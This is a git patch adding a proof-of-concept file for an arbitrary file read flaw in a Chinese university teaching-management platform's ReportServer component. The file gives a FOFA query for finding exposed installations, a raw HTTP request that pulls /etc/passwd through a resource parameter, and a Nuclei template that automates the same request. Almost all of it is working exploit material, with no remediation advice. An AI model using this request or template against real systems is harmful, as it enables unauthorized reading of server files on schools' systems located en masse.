From d6d6195fd7b85eaa73204cc84d78a11823846767 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 21 Mar 2024 17:56:48 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E6=AD=A3=E6=96=B9=E6=95=99=E5=AD=A6?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E4=BF=A1=E6=81=AF=E6=9C=8D=E5=8A=A1=E5=B9=B3?= =?UTF-8?q?=E5=8F=B0ReportServer=E5=AD=98=E5=9C=A8=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...信息服务平台ReportServer存在任意文件读取漏洞.md | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 正方教学管理信息服务平台ReportServer存在任意文件读取漏洞.md diff --git a/正方教学管理信息服务平台ReportServer存在任意文件读取漏洞.md b/正方教学管理信息服务平台ReportServer存在任意文件读取漏洞.md new file mode 100644 index 0000000..06a7d81 --- /dev/null +++ b/正方教学管理信息服务平台ReportServer存在任意文件读取漏洞.md @@ -0,0 +1,40 @@ +## 正方教学管理信息服务平台ReportServer存在任意文件读取漏洞 + +## fofa +``` +body="正方软件股份有限公司" && title="教学管理信息服务平台" +``` + +## poc +``` +GET /WebReport/ReportServer?op=resource&resource=/etc/passwd&i18n=true HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Content-Length: 0 + +``` +![b211abfd216e9904485e663877a1e747](https://github.com/wy876/POC/assets/139549762/97cb775c-c793-4384-9205-e718ea321f57) + +## Nuclei脚本 +``` +id: zfjxgl-reportserver-anyfileread + +info: + name: zfjxgl-reportserver-anyfileread + author: xxxx + severity: high + +http: + - raw: + - | + GET /WebReport/ReportServer?op=resource&resource=/etc/passwd&i18n=true HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/plain + Connection: close + + matchers: + - type: dsl + dsl: + - status_code==200 && contains_all(body,"root") + +```